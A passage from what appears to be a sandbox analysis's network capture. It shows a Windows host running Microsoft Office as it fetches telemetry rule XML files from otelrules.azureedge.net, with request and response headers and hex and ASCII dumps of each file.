22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49833	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:19 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:19 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:19 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 639ae494-d01e-0082-069a-20e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190419Z-r1755647c66z4pt7cv1pnqayy400000008t00000000008t2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:19 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49834	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:19 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:19 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:19 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 5a8d2ac8-001e-0034-336b-23dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190419Z-17fbfdc98bb75b2fuh11781a0n000000065g000000002q49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:19 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49835	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:19 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:19 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:19 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 9f3a3312-201e-0096-7bbe-20ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190419Z-r1755647c66r2hg89mqr09g9w000000000w0000000009enn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:19 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49836	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:19 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:20 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:19 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 48cb41bd-401e-0064-5c64-2354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190419Z-17fbfdc98bbg2mc9qrpn009kgs00000006dg000000000mrp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:20 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49837	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:19 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:20 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:19 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: c39a1591-e01e-001f-5e5d-231633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190419Z-17fbfdc98bbgzrcvp7acfz2d3000000006a0000000001udu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:20 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49838	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:20 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:20 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:20 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: a52fde13-501e-0078-6a5d-2306cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190420Z-17fbfdc98bbmh88pm95yr8cy5n0000000520000000007096 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:20 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49839	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:20 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:20 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:20 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 37f3233a-001e-0082-4c59-235880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190420Z-17fbfdc98bblptj7fr9s141cpc00000006a00000000000h0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:20 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49840	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:20 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:20 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:20 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 44b73ccb-201e-0096-2a5d-23ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190420Z-17fbfdc98bbnhb2b0umpa641c8000000062g000000006u19 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:20 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49841	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:20 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:20 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:20 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 6dbd05ca-401e-0078-0659-234d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190420Z-17fbfdc98bbgqz661ufkm7k13c0000000660000000001tbz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:20 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49842	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:20 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:20 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:20 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 44b68622-401e-0067-4450-2309c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190420Z-r1755647c66dj7986akr8tvaw400000007u0000000009n1v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:20 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49843	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:21 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:21 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 3bea9ec9-701e-0098-2c9f-24395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190421Z-r1755647c66ldfgxa3qp9d53us00000008r0000000002697 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:21 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49844	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:21 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
